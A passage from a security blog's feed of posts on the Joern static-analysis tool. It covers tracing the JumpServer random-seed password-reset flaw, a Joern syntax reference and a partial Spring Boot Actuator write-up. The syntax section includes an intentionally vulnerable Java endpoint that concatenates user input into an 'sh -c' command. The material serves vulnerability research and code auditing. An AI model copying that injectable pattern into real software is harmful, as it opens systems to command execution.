class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">&gt; .\joern</span><br><span class="line"></span><br><span class="line">     ██╗ ██████╗ ███████╗██████╗ ███╗   ██╗</span><br><span class="line">     ██║██╔═══██╗██╔════╝██╔══██╗████╗  ██║</span><br><span class="line">     ██║██║   ██║█████╗  ██████╔╝██╔██╗ ██║</span><br><span class="line">██   ██║██║   ██║██╔══╝  ██╔══██╗██║╚██╗██║</span><br><span class="line">╚█████╔╝╚██████╔╝███████╗██║  ██║██║ ╚████║</span><br><span class="line"> ╚════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝</span><br><span class="line">Version: <span class="number">2.0</span><span class="number">.52</span></span><br><span class="line">Type `help` to begin</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">joern&gt; importCode(<span class="string">"../captcha/"</span>)</span><br></pre></td></tr></table></figure><p>先<strong>找到random.seed调用的位置</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539993.png" alt="img"></p><p>先检查<strong>调用位置到函数定义位置是否有数据联通</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">def source = cpg.method("seed").caller.parameter</span><br><span class="line">def sink = cpg.method("seed").callIn</span><br><span class="line"></span><br><span class="line">sink.reachableByFlows(source).p</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539466.png" alt="img"></p><p>得到的答案是肯定的，<strong>seed的参数key可控</strong>，接着找对应的路由，<strong>在django里路由一般是用path，而这个组件使用re_path</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.urls <span class="keyword">import</span> path</span><br><span class="line"><span class="keyword">from</span> django.urls <span class="keyword">import</span> re_path</span><br></pre></td></tr></table></figure><p>我们可以直接快捷的<strong>查看相应的路由函数调用位置</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539226.png" alt="img"></p><p>然后通过<strong>对应的调用函数来获取指定的路由</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method(<span class="string">"re_path"</span>).callIn.filter(_._callViaAstOut.code.contains(<span class="string">"views.captcha_image"</span>)).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539129.png" alt="img"></p><p>当然可能也不用这么麻烦，理论上来说<strong>直接设置source也是可以连起来的</strong>，只不过<strong>re_path读取key的方式是正则匹配</strong>，所以原装的<strong>reachableByFlows无法处理这种情况</strong>，我们只能强行做一些限制</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method(<span class="string">"re_path"</span>).callIn.filter(_._callViaAstOut.code.contains(<span class="string">"views.captcha_image"</span>)).filterNot(_.argument.code.contains(<span class="string">"&lt;key&gt;"</span>)).l</span><br></pre></td></tr></table></figure><p>由于这条命令可以获取结果，所以代表着<strong>存在可以设置随机数种子的路由和对应的参数</strong>。</p><p>当然，由于漏洞的特殊性不仅仅在于可控，还需要<strong>后续没有进一步重置随机数种子</strong>，所以我们还需要更多的条件来确认这一点。</p><p>其实要做到这点也并不复杂，只需要确认，<strong>在设置seed种子的方法中，没有调用过无参的seed方法即可。</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method(<span class="string">"seed"</span>).caller.filter(_._callViaContainsOut.filter(_.name.contains(<span class="string">"seed"</span>)).filter(_.argument.size&lt;<span class="number">2</span>).size==<span class="number">0</span>).l</span><br></pre></td></tr></table></figure><p>上面这条命令的意思是</p><ul><li><strong>寻找seed方法的调用方法</strong></li><li><strong>寻找该方法中调用的方法中，名字为seed，并参数为0</strong>(joern中，参数index为0的位置表示为this，也就是当前方法所属的类)</li><li><strong>展示调用方法中，满足条件的调用数量为0的方法</strong></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539623.png" alt="img"></p><p>如果返回结果，则证明<strong>该方法中没有重置新的随机数种子</strong>，当然，到这里并不能完全的验证这个结论，毕竟这里指处理了显式重置，<strong>如果是更严格的数据流分析，应该从重置随机数种子的位置入手</strong>，确认是否有数据流经过，但<strong>这种方案对于joern来说比较困难，这里先不深入到这个级别研究</strong>。</p><h2 id="JumpServer密码重置漏洞"><a href="#JumpServer密码重置漏洞" class="headerlink" title="JumpServer密码重置漏洞"></a>JumpServer密码重置漏洞</h2><p>这里分析JumpServer的时候遇到的<strong>最大的问题是JumpServer的代码量有点儿大</strong>，导入到Joern里有83万个节点:&lt;</p><p>其实相比Django-simple-captcha的问题来说，<strong>JumpServer的问题在源代码的角度上来说更不像一个问题</strong>，只能算是<strong>一个使用错误的范例，有潜在的风险</strong>。我们需要用joern完成的工作包括两部分</p><ul><li><strong>在获取随机数之前，没有重置过随机数种子</strong></li><li><strong>在获取随机数之前，共执行了多少次随机操作</strong></li></ul><p>先找到对应<strong>调用random.choice方法的方法</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539274.png" alt="img"></p><p>而<strong>调用过seed方法重置随机数种子的位置</strong>只有一个，看了一下没有相关的引用关系，看上去像是一段测试代码</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539669.png" alt="img"></p><p>由于场景特殊，这里我们用不到那么深入的数据流分析，只需要在<strong>对应重置密码的路由中确认是否调用random.choice方法</strong>就行了</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539469.png" alt="img"></p><p>这里直接用repeat untils来实现就可以</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539253.png" alt="img"></p><p><strong>repeat…untils…还是那个老问题，容易递归爆炸，路径重复问题严重</strong>，我觉得这是joern实现里一个非常普遍的问题，但<strong>至少可以确定两个调用位置的连通性</strong>。</p><p>接下来我们的问题变成了，我们<strong>如何知道在这条数据流中random调用了多少次</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539623.png" alt="img"></p><p>我尝试了几次之后发现，<strong>如果想要在语句上控制限制范围，以确认random的调用次数，会遇到比较多的问题</strong>，<strong>正向分析的深入深度</strong>问题，以及<strong>循环分支的次数数据</strong>问题，问题比想象中的大，我暂且认为这不是joern的适用场景。</p><p>而相应的修复就更简单了，<strong>直接换用secrets替代random会直接影响到前面的方法发现</strong>，我们就无法获得对应的数据流了。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Jumpserver是一个开源的django架构的堡垒机系统，由&lt;strong&gt;lawliet &amp;amp; zhiniang peng(@edwardzpeng) with Sangfor&lt;/strong&gt;在上个月报送了这个漏洞&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;漏洞原理其实比较神奇，一个常用的第三方组件库&lt;a href=&quot;https://github.com/mbi/django-simple-captcha&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;django-simple-captcha&lt;/a&gt;有&lt;strong&gt;泄露随机数种子&lt;/strong&gt;的问题，再配合Jumpserver&lt;strong&gt;使用了错误的随机数方案&lt;/strong&gt;导致了最终的漏洞。&lt;/p&gt;</summary>
    
    
    
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
    <category term="joern" scheme="https://lorexxar.cn/tags/joern/"/>
    
  </entry>
  
  <entry>
    <title>深入浅出Joern（四）不常用语法大全</title>
    <link href="https://lorexxar.cn/2023/10/20/joern4/"/>
    <id>https://lorexxar.cn/2023/10/20/joern4/</id>
    <published>2023-10-20T07:05:47.000Z</published>
    <updated>2023-10-25T09:16:49.000Z</updated>
    
    <content type="html"><![CDATA[<p>在深入了解Joern的源码以及设计的时候发现Joern其实实现了很多不常用语法，很多文档中没提到的东西，其实都有比较简洁实用的方式，但也从源码的设计中发现，其实Joern的设计理念也有很多问题，这个我们以后再写到。</p><p>本篇内容可以结合<a href="https://cpg.joern.io/食用" target="_blank" rel="noopener">https://cpg.joern.io/食用</a></p><a id="more"></a><h1 id="基础常见节点结构"><a href="#基础常见节点结构" class="headerlink" title="基础常见节点结构"></a>基础常见节点结构</h1><h2 id="Annotation-注解"><a href="#Annotation-注解" class="headerlink" title="Annotation 注解"></a>Annotation 注解</h2><p>Annotation是Java中的注解节点</p><ul><li>astOut：通过ast边指向的节点列表</li><li>astIn：通过ast边指向Annotation的节点列表</li><li>argumentOut：Annotation的参数节点列表</li><li>_annotationParameterAssignViaAstOut：Annotation的参数(ANNOTATION_PARAMETER_ASSIGN)节点列表</li><li>__memberViaAstIn：通过ast边指向的member节点列表</li><li>__methodViaAstIn：通过ast边指向的method节点列表</li><li>__methodParameterInViaAstIn：通过ast边指向的method参数节点列表</li><li>_typeDeclViaAstIn：Annotation对应的类定义节点列表</li></ul><h2 id="argument-参数"><a href="#argument-参数" class="headerlink" title="argument 参数"></a>argument 参数</h2><ul><li>_expressionViaArgumentOut：通过ARGUMENT边指向的argument节点列表</li><li>_astNodeViaArgumentOut：通过ARGUMENT边指向的ast节点列表</li><li>astIn：通过AST边指向Argument的节点列表</li></ul><h2 id="if-else-for-do-continue-break-throw-switch-try-while条件分支"><a href="#if-else-for-do-continue-break-throw-switch-try-while条件分支" class="headerlink" title="if/else/for/do/continue/break/throw/switch/try/while条件分支"></a>if/else/for/do/continue/break/throw/switch/try/while条件分支</h2><p>包含已知的所有分支跳转循环节点，包括if/else/for/do/continue/break/throw/switch/try/while等…</p><ul><li>argumentOut：条件节点指向的argument节点列表</li><li>astOut：通过ast边指向的节点列表</li><li>_blockViaAstOut：通过ast边指向的block节点列表</li><li>_callViaAstOut：通过ast边指向的call节点列表</li><li>_controlStructureViaAstOut：通过ast边指向的条件分支节点列表</li><li>_identifierViaAstOut：通过ast边指向的变量列表</li><li>_returnViaAstOut：通过ast边指向的return节点列表</li><li>cdgOut：通过cdg边指向的节点列表</li><li>_blockViaCdgOut：通过cdg边指向的block节点列表</li><li>_callViaCdgOut：通过cdg边指向的call节点列表</li><li>_controlStructureViaCdgOut：通过cdg边指向的条件分支节点列表</li><li>_returnViaCdgOut：通过cdg边指向的return节点列表</li><li>cfgOut：通过cfg边指向的节点列表</li><li>conditionOut：条件分支(if, else if)对应的条件节点列表</li><li>_blockViaConditionOut：条件分支(if, else if)对应的block类型条件节点列表</li><li>_callViaConditionOut：条件分支(if, else if)对应的call类型条件节点列表</li><li>_controlStructureViaConditionOut: 条件分支(if, else if)对应的同样为条件分支(else if)的条件节点列表</li><li>astIn: 通过ast边指向当前节点的节点列表</li><li>_blockViaAstIn：通过ast边指向当前节点的block节点列表</li><li>_callViaAstIn：通过ast边指向当前节点的call节点列表</li><li>containsIn：包含当前节点的Method节点列表</li></ul><h2 id="call-调用"><a href="#call-调用" class="headerlink" title="call 调用"></a>call 调用</h2><ul><li>argumentOut：指向调用节点的参数节点列表</li><li>_blockViaArgumentOut：指向调用节点的block类型参数节点列表</li><li>_callViaArgumentOut：指向调用节点的call类型参数节点列表</li><li>_controlStructureViaArgumentOut：指向调用节点的条件分支类型参数节点列表</li><li>astOut：通过ast边指向的节点列表</li><li>_blockViaAstOut：通过ast边指向的block节点列表</li><li>_callViaAstOut：通过ast边指向的call节点列表</li><li>_controlStructureViaAstOut：通过ast边指向的条件分支节点列表</li><li>_identifierViaAstOut：通过ast边指向的变量列表</li><li>_returnViaAstOut：通过ast边指向的return节点列表</li><li>_methodViaCallOut：call调用的对应method节点</li><li>cdgOut：通过cdg边指向的节点列表</li><li>_blockViaCdgOut：通过cdg边指向的block节点列表</li><li>_callViaCdgOut：通过cdg边指向的call节点列表</li><li>_controlStructureViaCdgOut：通过cdg边指向的条件分支节点列表</li><li>_returnViaCdgOut：通过cdg边指向的return节点列表</li><li>cfgOut：通过cfg边指向的节点列表</li><li>conditionOut：条件分支(if, else if)对应的条件节点列表</li><li>_blockViaConditionOut：条件分支(if, else if)对应的block类型条件节点列表</li><li>_callViaConditionOut：条件分支(if, else if)对应的call类型条件节点列表</li><li>_controlStructureViaConditionOut: 条件分支(if, else if)对应的同样为条件分支(else if)的条件节点列表</li><li>astIn: 通过ast边指向当前节点的节点列表</li><li>_blockViaAstIn：通过ast边指向当前节点的block节点列表</li><li>_callViaAstIn：通过ast边指向当前节点的call节点列表</li><li>containsIn：包含当前节点的Method节点列表</li></ul><h2 id="Comment-注释"><a href="#Comment-注释" class="headerlink" title="Comment 注释"></a>Comment 注释</h2><ul><li>file：注释所在的file节点</li><li>astIn：通过ast边指向当前节点的节点列表</li><li>_fileViaAstIn：指向当前注释节点的文件节点</li><li>sourceFileIn：通过SOURCE_FILE指向当前节点的节点列表</li></ul><h2 id="File-文件"><a href="#File-文件" class="headerlink" title="File 文件"></a>File 文件</h2><ul><li>astOut：file节点通过ast边指向的节点列表</li><li>comment：file节点对应的comment节点</li><li>_importViaAstOut：file节点对应的import节点</li><li>_namespaceBlockViaAstOut：file节点对应namespace节点</li><li>containsOut：file节点包含的节点列表</li><li>_methodViaContainsOut：file节点包含的method节点列表</li><li>_typeDeclViaContainsOut：file节点包含的类定义节点列表</li><li>sourceFileIn：通过SOURCE_FILE边连接到当前节点的节点列表</li><li>method：通过SOURCE_FILE边连接到当前节点的method节点列表</li><li>namespaceBlock：通过SOURCE_FILE边连接到当前节点的namespaceBlock节点列表</li><li>typeDecl：通过SOURCE_FILE边连接到当前节点的typeDecl节点列表</li></ul><h2 id="method-方法"><a href="#method-方法" class="headerlink" title="method 方法"></a>method 方法</h2><ul><li>astOut：通过ast边指向的节点列表</li><li>_annotationViaAstOut：通过ast边指向的annotation节点列表</li><li>_methodViaCallOut：call调用的对应method节点</li><li>block：method节点下对应的block节点</li><li>parameter：method节点对应参数节点列表</li><li>_methodParameterOutViaAstOut：method对应的METHOD_PARAMETER_OUT节点</li><li>methodReturn：method节点对应的return节点列表</li><li>_modifierViaAstOut：method节点对应的modifier修饰词</li><li>_typeDeclViaAstOut：method节点对应的class节点</li><li>cfgOut：通过cfg边指向的节点列表</li><li>cfgFirst：通过cfg边指向的第一个节点</li><li>containsOut：method通过contains边指向的节点列表</li><li>_blockViaContainsOut：method通过contains边指向的block节点列表</li><li>_callViaContainsOut：method通过contains边指向的call节点列表</li><li>_controlStructureViaContainsOut：method通过contains边指向的条件节点列表</li><li>astIn: 通过ast边指向当前节点的节点列表</li><li>_blockViaAstIn：通过ast边指向当前节点的block节点列表</li><li>_namespaceBlockViaAstIn：通过ast边指向当前节点的namespaceBlock节点列表</li><li>_typeDeclViaAstIn：通过ast边指向当前节点的类定义节点列表</li><li>callIn：当前method节点的对应call调用节点</li><li>cfgIn：通过cfg边指向当前节点的节点列表</li><li>containsIn：包含当前节点的节点列表，通过contains边指向当前节点</li><li>_fileViaContainsIn：包含当前节点的file节点</li><li>_typeDeclViaContainsIn：包含当前节点的类定义节点</li></ul><h2 id="namespace-命名空间"><a href="#namespace-命名空间" class="headerlink" title="namespace 命名空间"></a>namespace 命名空间</h2><p>joern中命名空间分为namespace和namespaceBlock两个节点，file-&gt;namespaceBlock-&gt;namespace，所以这两个节点可以混在一起讲</p><ul><li>Namespace._namespaceBlockViaRefIn：指向namespace的namespaceBlock节点</li><li>NamespaceBlock._namespaceViaRefOut：bock对应的namespace节点</li><li>NamespaceBlock.astOut：namespaceBlock节点通过ast边指向的节点</li><li>NamespaceBlock._methodViaAstOut：通过ast边指向的method节点</li><li>NamespaceBlock._typeDeclViaAstOut：通过ast边指向的class类定义节点</li><li>NamespaceBlock.sourceFileOut：namespace对应的file节点</li><li>NamespaceBlock._fileViaSourceFileOut：namespace对应的file节点</li><li>NamespaceBlock.astIn：通过ast边指向当前节点的节点列表</li><li>NamespaceBlock._fileViaAstIn：通过ast边指向当前节点的file节点列表</li></ul><h2 id="parameter-参数"><a href="#parameter-参数" class="headerlink" title="parameter 参数"></a>parameter 参数</h2><p>parameter在joern被定义为，函数定义的参数，而不是函数调用的参数，所以这个节点几乎只和method节点链接</p><ul><li>astOut：通过ast边指向的节点列表</li><li>typ：参数节点对应的类型</li><li>parameterLinkOut：参数节点对应的返回节点列表</li><li>method：参数节点对应的method节点</li></ul><h2 id="ret-返回值"><a href="#ret-返回值" class="headerlink" title="ret 返回值"></a>ret 返回值</h2><p>return对应method节点的返回</p><ul><li>argumentOut：通过argument边指向的节点列表</li><li>astOut：通过ast边指向的节点列表</li><li>_blockViaAstOut：通过ast边指向的block节点列表</li><li>_callViaAstOut：通过ast边指向的call节点列表</li><li>_controlStructureViaAstOut：通过ast边指向的条件分支节点列表</li><li>_identifierViaAstOut：通过ast边指向的变量列表</li><li>_returnViaAstOut：通过ast边指向的return节点列表</li><li>_methodReturnViaCfgOut：return节点对应的method节点</li><li>astIn: 通过ast边指向当前节点的节点列表</li><li>_blockViaAstIn：通过ast边指向当前节点的block节点列表</li><li>_callViaAstIn：通过ast边指向当前节点的call节点列表</li><li>_controlStructureViaAstIn：通过ast边指向当前节点的条件分支节点列表</li><li>cfgIn：通过cfg边指向当前节点的节点列表</li><li>containsIn：包含当前节点的节点列表，通过contains边指向当前节点</li><li>_methodViaContainsIn：包含当前节点的method节点</li><li>conditionIn：和当前节点有直接关系的条件节点</li><li>_controlStructureViaConditionIn：和当前节点有直接关系的条件节点</li></ul><h2 id="TypeDecl-类定义"><a href="#TypeDecl-类定义" class="headerlink" title="TypeDecl 类定义"></a>TypeDecl 类定义</h2><p>TypeDecl等于常规意义上class的概念</p><ul><li>astOut：通过ast边指向的节点列表</li><li>_annotationViaAstOut：通过ast边指向的annotation节点列表</li><li>_memberViaAstOut：通过ast边指向的member变量列表</li><li>_methodViaAstOut：通过ast边指向的method节点列表</li><li>_typeDeclViaAstOut：通过ast边指向的class类定义节点</li><li>_methodViaContainsOut：类节点下包含的方法节点</li><li>inheritsFromOut：继承自的class类定义节点</li><li>sourceFileOut：当前节点所属的file节点</li><li>_fileViaSourceFileOut：当前节点所属的file节点</li><li>astIn: 通过ast边指向当前节点的节点列表</li><li>_methodViaAstIn：通过ast边指向当前节点的method节点列表</li><li>namespaceBlock：通过ast边指向当前节点的namespaceBlock节点列表</li><li>_typeDeclViaAstIn：通过ast边指向当前节点的class类定义节点</li></ul><h1 id="特殊语法关系"><a href="#特殊语法关系" class="headerlink" title="特殊语法关系"></a>特殊语法关系</h1><h2 id="method方法特殊语法"><a href="#method方法特殊语法" class="headerlink" title="method方法特殊语法"></a>method方法特殊语法</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping</span>(<span class="string">"/codeinject"</span>)</span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">codeInject</span><span class="params">(String filepath)</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line"></span><br><span class="line">    String[] cmdList = <span class="keyword">new</span> String[]&#123;<span class="string">"sh"</span>, <span class="string">"-c"</span>, <span class="string">"ls -la "</span> + filepath&#125;;</span><br><span class="line">    ProcessBuilder builder = <span class="keyword">new</span> ProcessBuilder(cmdList);</span><br><span class="line">    builder.redirectErrorStream(<span class="keyword">true</span>);</span><br><span class="line">    Process process = builder.start();</span><br><span class="line">    <span class="keyword">return</span> WebUtils.convertStreamToString(process.getInputStream());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>caller</li></ul><p>当前节点的调用位置方法，比如<code>cpg.method(&quot;start&quot;).caller</code>就会返回codeInject方法</p><ul><li>callIn</li></ul><p>当前方法/函数节点的调用位置，比如<code>cpg.method(&quot;start&quot;).callIn</code>就会返回调用start方法的call节点</p><ul><li>cpg.method(“start”)</li></ul><p>名为start的方法的定义节点</p><h2 id="读取向外的所有边"><a href="#读取向外的所有边" class="headerlink" title="读取向外的所有边"></a>读取向外的所有边</h2><ul><li>cpg.method.head.outE.map(n=&gt;n.label).l</li></ul><p>获取当前节点向外所有的边，并展示边类型</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310231821493.png" alt="image-20231023182018337"></p><ul><li>cpg.method.head.outE.map(n=&gt;n.inNode).l</li></ul><p>获取当前节点向外所有的边，并展示连接到的节点</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310231821093.png" alt="image-20231023182055115"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在深入了解Joern的源码以及设计的时候发现Joern其实实现了很多不常用语法，很多文档中没提到的东西，其实都有比较简洁实用的方式，但也从源码的设计中发现，其实Joern的设计理念也有很多问题，这个我们以后再写到。&lt;/p&gt;
&lt;p&gt;本篇内容可以结合&lt;a href=&quot;https://cpg.joern.io/食用&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://cpg.joern.io/食用&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
    <category term="joern" scheme="https://lorexxar.cn/tags/joern/"/>
    
  </entry>
  
  <entry>
    <title>Joern In RealWorld (1) - Acutators + CVE-2022-21724</title>
    <link href="https://lorexxar.cn/2023/08/31/joerninrw/"/>
    <id>https://lorexxar.cn/2023/08/31/joerninrw/</id>
    <published>2023-08-31T09:06:53.000Z</published>
    <updated>2023-08-31T09:24:30.000Z</updated>
    
    <content type="html"><![CDATA[<p>这个系列会记录我用Joern复现真实漏洞的一些过程，同样也是对Joern的深入探索。</p><p>这里我选用<strong>Java-sec-code的范例代码</strong>做第一部分，这篇文章记录了两个比较经典的漏洞</p><ul><li><strong>Springboot Acutators导致命令执行</strong></li><li><strong>postgreSQL jdbc反序列化漏洞(CVE-2022-21724)</strong></li></ul><p>Joern分析Java代码可以选择用代码文件夹也可以选择直接分析jar包</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">importCode(&quot;..&#x2F;..&#x2F;java-sec-code&#x2F;target&#x2F;java-sec-code-1.0.0.jar&quot;)</span><br></pre></td></tr></table></figure><a id="more"></a><h1 id="Springboot-Acutators配置问题"><a href="#Springboot-Acutators配置问题" class="headerlink" title="Springboot Acutators配置问题"></a>Springboot Acutators配置问题</h1><ul><li><a href="https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE#reference" target="_blank" rel="noopener">https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE#reference</a></li><li><a href="https://github.com/LandGrey/SpringBootVulExploit#0x01路由地址及接口调用详情泄漏" target="_blank" rel="noopener">https://github.com/LandGrey/SpringBootVulExploit#0x01%E8%B7%AF%E7%94%B1%E5%9C%B0%E5%9D%80%E5%8F%8A%E6%8E%A5%E5%8F%A3%E8%B0%83%E7%94%A8%E8%AF%A6%E6%83%85%E6%B3%84%E6%BC%8F</a></li><li><a href="https://www.veracode.com/blog/research/exploiting-spring-boot-actuators" target="_blank" rel="noopener">https://www.veracode.com/blog/research/exploiting-spring-boot-actuators</a></li></ul><p><strong>SpringBoot Actuator是SpringBoot内置的一个监控管理插件。</strong>只要引用组件就会开启对应的功能</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&lt;dependency&gt;</span><br><span class="line">    &lt;groupId&gt;org.springframework.boot&lt;&#x2F;groupId&gt;</span><br><span class="line">    &lt;artifactId&gt;spring-boot-starter-web&lt;&#x2F;artifactId&gt;</span><br><span class="line">&lt;&#x2F;dependency&gt;</span><br><span class="line"></span><br><span class="line">&lt;dependency&gt;</span><br><span class="line">    &lt;groupId&gt;org.springframework.boot&lt;&#x2F;groupId&gt;</span><br><span class="line">    &lt;artifactId&gt;spring-boot-starter-actuator&lt;&#x2F;artifactId&gt;</span><br><span class="line">&lt;&#x2F;dependency&gt;</span><br></pre></td></tr></table></figure><p>开启后<strong>SpringBoot 1.x起始路径为</strong><code>/</code><strong>，2.x的起始路径为</strong><code>/actuator</code></p><p>暴露路由本身不能算太大的安全问题，只能说<strong>配置不当可能导致信息泄露</strong>，可以参<a href="https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt" target="_blank" rel="noopener">spring-boot.txt</a>。</p><p>Actuator的接口配合一些组件就可能导致RCE，但防御的方法大多都是<strong>对Actuator做鉴权限制</strong>。</p><ul><li><strong>Actuators + jolokia</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;!-- SpringBoot Actuator命令执行的库 --&gt;</span><br><span class="line">&lt;dependency&gt;</span><br><span class="line">    &lt;groupId&gt;org.jolokia&lt;&#x2F;groupId&gt;</span><br><span class="line">    &lt;artifactId&gt;jolokia-core&lt;&#x2F;artifactId&gt;</span><br><span class="line">    &lt;version&gt;1.6.0&lt;&#x2F;version&gt;</span><br><span class="line">&lt;&#x2F;dependency&gt;</span><br></pre></td></tr></table></figure><p>配合jolokia的接口可以实现jndi注入导致RCE</p><ul><li><strong>Actuators + Spring Cloud</strong></li><li><a href="https://www.freebuf.com/column/234719.html" target="_blank" rel="noopener">https://www.freebuf.com/column/234719.html</a></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;dependency&gt;</span><br><span class="line">    &lt;groupId&gt;org.springframework.cloud&lt;&#x2F;groupId&gt;</span><br><span class="line">    &lt;artifactId&gt;spring-cloud-starter-netflix-eureka-client&lt;&#x2F;artifactId&gt;</span><br><span class="line">    &lt;version&gt;1.4.0.RELEASE&lt;&#x2F;version&gt;</span><br><span class="line">&lt;&#x2F;dependency&gt;</span><br></pre></td></tr></table></figure><p>首先组件上引用eureka才行，并且<strong>Eureka-Client &lt;1.8.7</strong>（多见于Spring Cloud Netflix）</p><p>其次需要Application要有<code>@EnableEurekaClient</code>注解</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">import org.springframework.boot.SpringApplication;</span><br><span class="line">import org.springframework.boot.autoconfigure.SpringBootApplication;</span><br><span class="line">import org.springframework.cloud.netflix.eureka.EnableEurekaClient;</span><br><span class="line"></span><br><span class="line">@SpringBootApplication</span><br><span class="line">@EnableEurekaClient</span><br><span class="line">public class Application &#123;</span><br><span class="line">    public static void main(String[] args) &#123;</span><br><span class="line">        SpringApplication.run(Application.class, args);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="for-Joern"><a href="#for-Joern" class="headerlink" title="for Joern"></a>for Joern</h2><p>我首先遇到的问题就是，这个漏洞其实<strong>配置问题大于其他问题</strong>，我研究了很久认为这个问题在Joern中是不可解的。</p><p>一方面Acutators开启只需要组件引用即可，另一方面比较常见的修复手段是增加鉴权，<strong>加入鉴权组件并开启配置</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"># pom.xml</span><br><span class="line">&lt;dependency&gt;</span><br><span class="line">&lt;groupId&gt;org.springframework.boot&lt;&#x2F;groupId&gt;</span><br><span class="line">    &lt;artifactId&gt;spring-boot-starter-security&lt;&#x2F;artifactId&gt;</span><br><span class="line">&lt;&#x2F;dependency&gt;</span><br><span class="line"></span><br><span class="line"># for application.properties</span><br><span class="line">management.security.enabled&#x3D;true</span><br><span class="line">security.user.name&#x3D;admin</span><br><span class="line">security.user.password&#x3D;admin</span><br></pre></td></tr></table></figure><p>哪怕不是用这个鉴权组件但也大同小异，关闭敏感端点之类的。</p><p>而问题回到Joern上，Joern虽然定义了ConfigFile节点，但<strong>并没有读取所有的配置文件</strong>，包括pom.xml。或者说pom.xml在Joern眼中不算是个配置文件。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722503.png" 